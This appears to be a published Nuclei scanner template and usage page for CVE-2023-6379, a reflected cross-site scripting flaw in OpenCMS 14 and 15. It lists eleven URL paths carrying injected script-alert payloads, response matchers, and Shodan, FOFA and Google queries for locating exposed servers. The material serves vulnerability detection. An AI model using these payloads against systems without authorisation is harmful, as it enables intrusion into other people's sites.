OpenCMS 14 & 15 - Cross Site Scripting

ID: CVE-2023-6379

Severity: medium

Author: msegoviag

Tags: cve2023,cve,opencms,xss,alkacon

Description

Cross-site scripting (XSS) vulnerability in Alkacon Software Open CMS, affecting versions 14 and 15 of the ‘Mercury’ template.

YAML Source

id: CVE-2023-6379

info:
  name: OpenCMS 14 & 15 - Cross Site Scripting
  author: msegoviag
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in Alkacon Software Open CMS, affecting versions 14 and 15 of the 'Mercury' template.
  remediation: |
    Update to version OpenCMS 16
  reference:
    - https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2023-6379
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6379
    - https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-alkacon-software-opencms
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://github.com/msegoviag/msegoviag
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6379
    cwe-id: CWE-79
    epss-score: 0.00075
    epss-percentile: 0.32047
    cpe: cpe:2.3:a:alkacon:opencms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 11
    vendor: alkacon
    product: opencms
    shodan-query:
      - title:"opencms"
      - http.title:"opencms"
      - cpe:"cpe:2.3:a:alkacon:opencms"
      - /opencms/
    fofa-query: title="opencms"
    google-query: intitle:"opencms"
  tags: cve2023,cve,opencms,xss,alkacon

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - '/tagebuch/eintraege/index.html?reloaded&page=1">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/list-editor/index.html?reloaded&page=3">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/advanced-elements/list/index.html?reloaded&sort=date_asc&page=3">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/advanced-elements/list/list-filters/index.html?reloaded&sort=date_asc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/lists/compact/index.html?reloaded&sort=date_desc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/lists/elaborate/index.html?reloaded&sort=date_desc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/lists/text-tiles/index.html?reloaded&sort=date_asc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/lists/masonry/index.html?reloaded&sort=date_asc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/blog/articles/index.html?reloaded&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/advanced-elements/form/index.html?formsubmit=12&formaction1=submit&InputField-11939054842=mrs&InputField-21939054842=190806&InputField-31939054842=403105&InputField-41939054842=2&InputField-51939054842=&InputField-61939054842=1&captcha_token_id=1"><script>alert(document.domain)<%2fscript>ufs5prh3qfe&captchaphrase1939054842=1'
        - '/content-elements/job-ad/index.html?reloaded&sort=date_desc&page=1">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>" />'
          - 'OpenCms'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a889aff03ad09b4cdd54b3e8fc266eddbede2b31a5d47ed38d4f49e3d739ac27022100c828cc45aadd1769bc3e2c9ba3cb2838775a8ea3940e98031247ac30d3b61637:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6379.yaml"

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